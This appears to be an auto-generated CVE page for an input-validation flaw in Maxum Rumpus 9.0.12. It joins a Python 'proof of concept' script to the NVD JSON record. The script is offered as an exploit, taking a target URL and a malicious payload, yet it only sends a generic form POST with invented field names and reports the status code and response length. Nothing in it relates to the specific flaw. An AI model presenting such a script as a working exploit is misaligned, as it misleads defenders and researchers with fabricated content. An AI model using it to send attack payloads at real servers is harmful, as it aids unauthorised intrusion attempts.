CVE-2025-55058

# CVE-2025-55058 PoC - Improper Input Validation # Note: This is a conceptual PoC based on available information # Actual exploitation requires specific target system details import requests import sys def exploit_cve_2025_55058(target_url, attacker_payload): """ Conceptual proof of concept for CVE-2025-55058 This demonstrates improper input validation exploitation """ try: # Construct malicious input headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0' } # Payload targeting input validation weakness data = { 'input_data': attacker_payload, 'action': 'submit' } # Send crafted request response = requests.post( target_url, data=data, headers=headers, timeout=30 ) return { 'status_code': response.status_code, 'response_length': len(response.content) } except requests.exceptions.RequestException as e: return {'error': str(e)} if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python poc.py <target_url> <payload>") print("Example: python poc.py http://target.com/api/submit 'malicious_input'") sys.exit(1) target = sys.argv[1] payload = sys.argv[2] print(f"[*] Testing CVE-2025-55058 on {target}") result = exploit_cve_2025_55058(target, payload) print(f"[+] Result: {result}")

{"cve": {"id": "CVE-2025-55058", "sourceIdentifier": "[email protected]", "published": "2025-11-17T18:15:57.543", "lastModified": "2025-11-24T15:56:42.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CWE-20 Improper Input Validation"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:H", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:maxum:rumpus:9.0.12:*:*:*:*:*:*:*", "matchCriteriaId": "BF506B06-DA9E-418B-82EE-C89FA9F485D4"}]}]}], "references": [{"url": "https://www.gov.il/en/departments/dynamiccollectors/cve_advisories_listing?skip=0", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}